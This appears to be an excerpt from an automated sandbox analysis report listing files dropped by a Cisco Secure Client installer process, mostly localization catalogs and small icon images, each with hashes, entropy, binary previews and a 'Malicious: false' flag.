SHA-256:	C165FF2D1226D1653E42E133DCD3346B3C239779C4EAFF2FA05D8A8416AABEE1
SHA-512:	1C1908139C3A4072431D74360513369CFBDD4F0E9EB839457A3C15622A2C5983278DA2BB883CD159C358C143C17CDDC37C54A92F691E313DDE4DC891AF1D1F99
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\pt-br\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347902
Entropy (8bit):	5.1986177425205575
Encrypted:	false
SSDEEP:	6144:LjH3UKI0MSKZVBKfKh+Ec3LVWxcdXpnY3eURwoqL:L7haJ6
MD5:	B4D5001D372A2A132C4E7D55EAE51207
SHA1:	7EF98532BD39FB2A157A84824EE85BE6856BE3E0
SHA-256:	74D771DF4E83F0D39244FBA32EC6EC10B455398FC2807AD0019ADE29D175935C
SHA-512:	9BAF4D5B332EE1EF8708DE77463D869FB28EB8CD645978E64C8194E40A3C3D681F23313E18654B64EA6C6D1AB075B26628E2B34F2EF608BF1A76CB3427CDFD72
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\pt-br\LC_MESSAGES\is-06SGA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	347902
Entropy (8bit):	5.1986177425205575
Encrypted:	false
SSDEEP:	6144:LjH3UKI0MSKZVBKfKh+Ec3LVWxcdXpnY3eURwoqL:L7haJ6
MD5:	B4D5001D372A2A132C4E7D55EAE51207
SHA1:	7EF98532BD39FB2A157A84824EE85BE6856BE3E0
SHA-256:	74D771DF4E83F0D39244FBA32EC6EC10B455398FC2807AD0019ADE29D175935C
SHA-512:	9BAF4D5B332EE1EF8708DE77463D869FB28EB8CD645978E64C8194E40A3C3D681F23313E18654B64EA6C6D1AB075B26628E2B34F2EF608BF1A76CB3427CDFD72
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ru-ru\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	467531
Entropy (8bit):	5.410391422981112
Encrypted:	false
SSDEEP:	12288:L7hsbx/gNDWv68D6Iv6x5RaGUT0fDmKuajZHd+1wt8:L7a6FmG8
MD5:	2C1A2A453E54BFCEE2E97D458843C3BE
SHA1:	DF8512B13FB56BB6FCCC5BA01C91D42949875B44
SHA-256:	535CD27F4C25F5C007432FFD985C7EA3325659F2D1544264F317E71DD3377E84
SHA-512:	2351333B17AB072A2AC9E24D0772775D3519A3163EEB6BAB735845BBC96A51380A181C4E99AD21BECD99F8ED256E845DC421B773F33DD45E260783E90CA66333
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\ru-ru\LC_MESSAGES\is-GFN8V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	467531
Entropy (8bit):	5.410391422981112
Encrypted:	false
SSDEEP:	12288:L7hsbx/gNDWv68D6Iv6x5RaGUT0fDmKuajZHd+1wt8:L7a6FmG8
MD5:	2C1A2A453E54BFCEE2E97D458843C3BE
SHA1:	DF8512B13FB56BB6FCCC5BA01C91D42949875B44
SHA-256:	535CD27F4C25F5C007432FFD985C7EA3325659F2D1544264F317E71DD3377E84
SHA-512:	2351333B17AB072A2AC9E24D0772775D3519A3163EEB6BAB735845BBC96A51380A181C4E99AD21BECD99F8ED256E845DC421B773F33DD45E260783E90CA66333
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-cn\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312691
Entropy (8bit):	6.238069670792444
Encrypted:	false
SSDEEP:	6144:LjH3UK5pl6VBKfKh+spMr61W19INBYB4XGt48xITy:L7h3upMrT19INBYB4XGt48x+y
MD5:	05212F97A23F922493CD7F066373D92C
SHA1:	F8C2E7CD2949950A1227F02058B82E81876F5C73
SHA-256:	66997C101367684439899AC5A287CF194AC7E0BA9CBA753BC620D15B8F98193E
SHA-512:	40BB0959EDBD50068288328C8FA268F856BFB70A3737E84E129AE9A1400BF182975D2AD0BEBD5E271A30F7A893BA15CE472A9A80869D58378402CC2D822F97E7
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-cn\LC_MESSAGES\is-OOKAF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312691
Entropy (8bit):	6.238069670792444
Encrypted:	false
SSDEEP:	6144:LjH3UK5pl6VBKfKh+spMr61W19INBYB4XGt48xITy:L7h3upMrT19INBYB4XGt48x+y
MD5:	05212F97A23F922493CD7F066373D92C
SHA1:	F8C2E7CD2949950A1227F02058B82E81876F5C73
SHA-256:	66997C101367684439899AC5A287CF194AC7E0BA9CBA753BC620D15B8F98193E
SHA-512:	40BB0959EDBD50068288328C8FA268F856BFB70A3737E84E129AE9A1400BF182975D2AD0BEBD5E271A30F7A893BA15CE472A9A80869D58378402CC2D822F97E7
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-hans\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312693
Entropy (8bit):	6.237794032422467
Encrypted:	false
SSDEEP:	6144:LjH3UK4rOZVBKfKh+VpMr61W19INBYB4XGt48xITy:L7h4ppMrT19INBYB4XGt48x+y
MD5:	15A97AEAB455C7659F975BF82E1FD0AA
SHA1:	811FE4D65EDD072EB5FE66FBBFC49EA7E74A2D33
SHA-256:	C71C31ED87B28224850C804EBFA8CBF2B7FAF3AA9AAD453269BCE3BEBC288243
SHA-512:	61A3C8E99A1D7F37AE9DF2FA1BE97BDBB4A83A2A676BF1C1E5C7169CFEC44AF13975E4140CA0118586DDBE774C3F1269691D7C4C7BB41A9557A55836BD568A6F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-hans\LC_MESSAGES\is-M31HB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312693
Entropy (8bit):	6.237794032422467
Encrypted:	false
SSDEEP:	6144:LjH3UK4rOZVBKfKh+VpMr61W19INBYB4XGt48xITy:L7h4ppMrT19INBYB4XGt48x+y
MD5:	15A97AEAB455C7659F975BF82E1FD0AA
SHA1:	811FE4D65EDD072EB5FE66FBBFC49EA7E74A2D33
SHA-256:	C71C31ED87B28224850C804EBFA8CBF2B7FAF3AA9AAD453269BCE3BEBC288243
SHA-512:	61A3C8E99A1D7F37AE9DF2FA1BE97BDBB4A83A2A676BF1C1E5C7169CFEC44AF13975E4140CA0118586DDBE774C3F1269691D7C4C7BB41A9557A55836BD568A6F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-hant\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313019
Entropy (8bit):	6.234654802477353
Encrypted:	false
SSDEEP:	6144:LjH3UKKGVBKfKh+fOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hJ1fe0akxNF
MD5:	83FB7082E5C1564F62D0CB08A78284D0
SHA1:	2EE243786EE95F72C4480BC3B0426B3847F2B235
SHA-256:	379DA399CC6B5870BA462F62AE5F7AF544E6DDFF77B5F0BC38E6DC860CAD910C
SHA-512:	304C30A39146728C9B48921D4175460D26BD9C564EAA517463E56F78A147EEDF42EBB3FB98E49B60F545E0F667DD96FE4DB017D220B25119FD8A1C7D0BA4DA1A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-hant\LC_MESSAGES\is-RJNFT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313019
Entropy (8bit):	6.234654802477353
Encrypted:	false
SSDEEP:	6144:LjH3UKKGVBKfKh+fOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hJ1fe0akxNF
MD5:	83FB7082E5C1564F62D0CB08A78284D0
SHA1:	2EE243786EE95F72C4480BC3B0426B3847F2B235
SHA-256:	379DA399CC6B5870BA462F62AE5F7AF544E6DDFF77B5F0BC38E6DC860CAD910C
SHA-512:	304C30A39146728C9B48921D4175460D26BD9C564EAA517463E56F78A147EEDF42EBB3FB98E49B60F545E0F667DD96FE4DB017D220B25119FD8A1C7D0BA4DA1A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-tw\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313017
Entropy (8bit):	6.23496399047262
Encrypted:	false
SSDEEP:	6144:LjH3UKSWLVBKfKh+nOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hD1fe0akxNF
MD5:	CEB6BC2F926118460165347F8EA04C76
SHA1:	E188B65EA47E9C347541752DAB4D2EF055216621
SHA-256:	A6A7AA156EC2FCC564E0D475F02243AFEEF09028FF1F3840D4C73C4064BFFC20
SHA-512:	6D49DB3F01DE644C4EA1A4D8120A9D0506B9200542E272626A05E03EF03EFDB1DEB3F7865E3919204DDD2F8690C5C5700B9F15208B81303581CAC523C07099A2
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\zh-tw\LC_MESSAGES\is-9QGM0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313017
Entropy (8bit):	6.23496399047262
Encrypted:	false
SSDEEP:	6144:LjH3UKSWLVBKfKh+nOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hD1fe0akxNF
MD5:	CEB6BC2F926118460165347F8EA04C76
SHA1:	E188B65EA47E9C347541752DAB4D2EF055216621
SHA-256:	A6A7AA156EC2FCC564E0D475F02243AFEEF09028FF1F3840D4C73C4064BFFC20
SHA-512:	6D49DB3F01DE644C4EA1A4D8120A9D0506B9200542E272626A05E03EF03EFDB1DEB3F7865E3919204DDD2F8690C5C5700B9F15208B81303581CAC523C07099A2
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\ArrowDown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3882
Entropy (8bit):	6.743390042757195
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcXLBz:iXHt+JcNgOSiS4XsAYNpf2ESNV7Bz
MD5:	3FFF593238B9889FAFEB8D0128212244
SHA1:	D7D9421F3DAB1DF9ED621322554EA78444513815
SHA-256:	FDA8EE98D597820B24B2AAE23909585D4E5BFD0FDC573F901FA6139A30D9A2F0
SHA-512:	4BC00D211799B3C09BA0BFBEB676E2F03A9E510D89CFBF4CFEEAAB47232A782E756F67B6194D551B7659741E1114D0BD648B88EDD02BE43C32D4E2BB2ACC1339
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\ArrowDownDisabled.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	6.749338244156901
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgJLkXf:iXHt+JcNgOSiS4XsAYNpf2ESNtg1kXf
MD5:	ECBD0E4A17836F184F084BF3D9170141
SHA1:	45E135215179398684C1D52BB8430D827577500D
SHA-256:	5734B02A7A809DC54D75C00E7137CE9F2BF85CE8050B6105016FEE5D5E1BA44B
SHA-512:	5EB8B7519E6F9EE518812B3F0D8DF3C3E6A73A899E70F853848C69551B783663111B62900837CF0F02098A7452EE3D8638839658B3724990BFA5C2BF148B8D05
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\ArrowUp.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	6.742220289284142
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcr:iXHt+JcNgOSiS4XsAYNpf2ESNVr
MD5:	3C512CF63246231506E533D6800FF3EB
SHA1:	CF02F3D7AD80DC48B900464D1F8D828F44213443
SHA-256:	C211B550E4DF39BDD1E7A39E7979EBFEAB155BDAEF2498A09D63B45713C30768
SHA-512:	ECE459102971594D5EB348FF9AA16E5EC0E7222594D63096289B566B07D020B534947D231E6C3CA1E139F407B9A5251933CF38C7BCEDAE693741499A9108D9D6
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\ArrowUpDisabled.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3881
Entropy (8bit):	6.749191813135782
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgI+P:iXHt+JcNgOSiS4XsAYNpf2ESNtgB
MD5:	C09256A999756AFFAE49A6E4346D910C
SHA1:	95158F9717019700B626D2A675F17C50853E436E
SHA-256:	D2913B404D604DD9F61952E0539DA5FCD742FC7E87F30CCC4263303DEC5F43B0
SHA-512:	D2DD40D4A8FBFEC4DFB2EF285880F103CB50D0AB461731915C15D8A4061E77C70513658419FF72925D90741FBD75079899E5293A107B7361B2142358534C94EA
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\GUI.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Targa image data - Map 32 x 2841 x 1 +1
Category:	dropped
Size (bytes):	431993
Entropy (8bit):	4.565786626694248
Encrypted:	false
SSDEEP:	3072:qG481XVja/lkbbVYHd6saT3N2z00cAXoKM0Baf0I:qC3a/lkbbaHd6saT3QZnXdBZI
MD5:	A6441E0D126BDAEB1308C9B4EB5D30D7
SHA1:	07206E99763B97507D5D7BCB3DF221F48ABF60FF
SHA-256:	5A624CBE0242B49FE13104345760BD16F6B2D50F1AC9FB19B92F76BDBBED938A
SHA-512:	DC85660518234A581F3EA19FB5892F53B1BA3671293F5BB886AD63D91CCEA0AC31E55ECEA528487AF1BC343CF226E268CF50B4903D67430919FD9B715889EB7B
Malicious:	false
